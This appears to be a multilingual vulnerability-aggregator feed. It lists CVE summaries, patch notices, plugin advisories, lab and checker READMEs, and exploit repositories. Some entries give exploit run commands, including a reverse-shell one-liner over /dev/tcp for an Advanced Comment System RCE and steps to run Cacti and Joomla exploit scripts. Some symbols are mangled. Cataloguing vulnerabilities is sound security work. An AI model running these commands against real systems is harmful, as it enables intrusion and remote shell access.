CVE-2019-19652

CVE-2019-19652 Attacco di downgrade a Chevereto - 1.0.0 - 1.1.4 Free, = 3.13.5 Core. Un utente admin può istruire lo script di aggiornamento per effettuare un downgrade a un'altra versione invece di un upgrade, reintroducendo vulnerabilità precedenti. A causa della mancanza di un token CSRF, ques...

ROOT-OS-DEBIAN-12-CVE-2021-46312 CVE-2021-46312 in djvulibre - Patched by Root

Root has patched CVE-2021-46312 in the djvulibre package for Root:Debian:12. Multiple fixed versions available...

spring-webmvc5

spring-webmvc5 Форк spring-webmvc 5.3.39 для исправления CVE-2024-38816, CVE-2024-38819 Maven Добавьте следующее в раздел dependencies файла pom.xml вашего проекта: root@kitploit: io.github.jaloon spring-webmvc5 5.3.39.1...

apache__jspwiki_CVE-2019-10078_2_11_0_M4_fixed

Apache JSPWiki 2.11 - Documentazione root@kitploit: Concesso in licenza all'Apache Software Foundation ASF con uno o più accordi di licenza dei contributori. Vedere il file NOTICE distribuito con questo lavoro per informazioni aggiuntive sulla proprietà del copyright. L'ASF concede in licenza...

zip4j

zip4j Questo repository contiene il codice sorgente decompilato delle versioni 1.3.2 vulnerabile e 1.3.3 corretta della libreria zip4j per CVE-2018-1002202, per il dataset CWE-Bench-Java. Il repository zip4j originale su Github non include il codice di queste versioni. Versioni Versione 1.3.2...

regreSSHion-CVE-2024-6387-

Controllo CVE-2024-6387 Questo README fornisce le istruzioni per utilizzare lo script per verificare se la tua installazione di OpenSSH è vulnerabile a CVE-2024-6387. Lo script ispeziona i binari sshd installati sul sistema, ne determina le versioni e verifica lo stato di vulnerabilità in base al...

ROOT-OS-DEBIAN-12-CVE-2023-53154 CVE-2023-53154 in cjson - Patched by Root

Root has patched CVE-2023-53154 in the cjson package for Root:Debian:12. Multiple fixed versions available...

WordPress WP w3all phpBB plugin <= 3.0.6 - Cross Site Scripting (XSS) vulnerability

Cross Site Scripting XSS vulnerability discovered by lanlv - HPT Vietnam Coporation in WordPress Plugin WP w3all phpBB versions = 3.0.6...

CVE-2009-4623

Advanced Comment System 1.0 - Execução Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Exemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

WordPress Mobile App for WooCommerce plugin <= 0.4.62 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Phat RiO in WordPress Plugin Mobile App for WooCommerce versions = 0.4.62...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 Esecuzione di codice remoto non autenticata Usa Python 3 Esecuzione senza Docker: root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py...

CVE-2016-15041-mainwp-dashboard

CVE-2016-15041 Lab - MainWP Dashboard Gespeichertes XSS Verwundbares Labor für CVE-2016-15041: Nicht authentifiziertes gespeichertes XSS im MainWP Dashboard WordPress-Plugin = 3.1.2. Schnellstart root@kitploit: docker compose up -d --build Warten Sie 30 Sekunden für die automatische Einrichtung...

MGASA-2026-0337 Updated kernel-linus packages fix security vulnerabilities

Vanilla upstream kernel version 6.18.44 fixes vulnerabilities. For information about the vulnerabilities see the links...

CVE-2023-23752

CVE-2023-23752 Joomla! v4.2.8 - Divulgazione di informazioni non autenticata Per eseguire questo script, dobbiamo installare alcune gemme mancanti: root@kitploit: sudo gem install httpx sudo gem install docopt sudo gem install paint root@kitploit: ruby exploit.rb http://dev.devvortex.htb...

CVE-2019-19609

CVE-2019-19609 Strapi = 3.0.0-beta.17.8 execução remota de código autenticada...

CVE-2019-16889-poc

DOS da Consumo di Risorse su Edgemax v1.10.6 Denial of service da consumo di risorse. È stato segnalato l'anno scorso ed è stato risolto a partire dalla versione 2.0.3 . Gli è stato assegnato CVE-2019-16889. Questa è la mia prima volta che uso asyncio, se vedi un modo più efficiente per farlo,...

CVE-2024-11040

CVE-2024-11040 vllm-project vllm versione 0.5.2.2 è vulnerabile ad attacchi Denial of Service...

CVE-2023-0748

CVE-2023-0748 BTCPayServer 1.7.5 und niedrigere Versionen sind anfällig für Open-Redirection-Angriffe. Schritte zur Reproduktion 1. Melden Sie sich auf Ihrem Konto an unter https://mainnet.demo.btcpayserver.org/login 2. Klicken Sie dann auf den folgenden Link...

cve-2025-55182-checker

CVE-2025-55182 Prüfer Ein portables Bash-Skript zur Erkennung verwundbarer Versionen von React Server DOM - und Next.js -Paketen, die von CVE-2025-55182 betroffen sind. Funktionen Durchsucht rekursiv alle package.json-Dateien in einem Projekt. Erkennt verwundbare Versionen von: react-server-dom-...

WordPress Booking and Rental Manager plugin <= 2.7.5 - PHP Object Injection vulnerability

PHP Object Injection vulnerability discovered by daroo in WordPress Plugin Booking and Rental Manager versions = 2.7.5...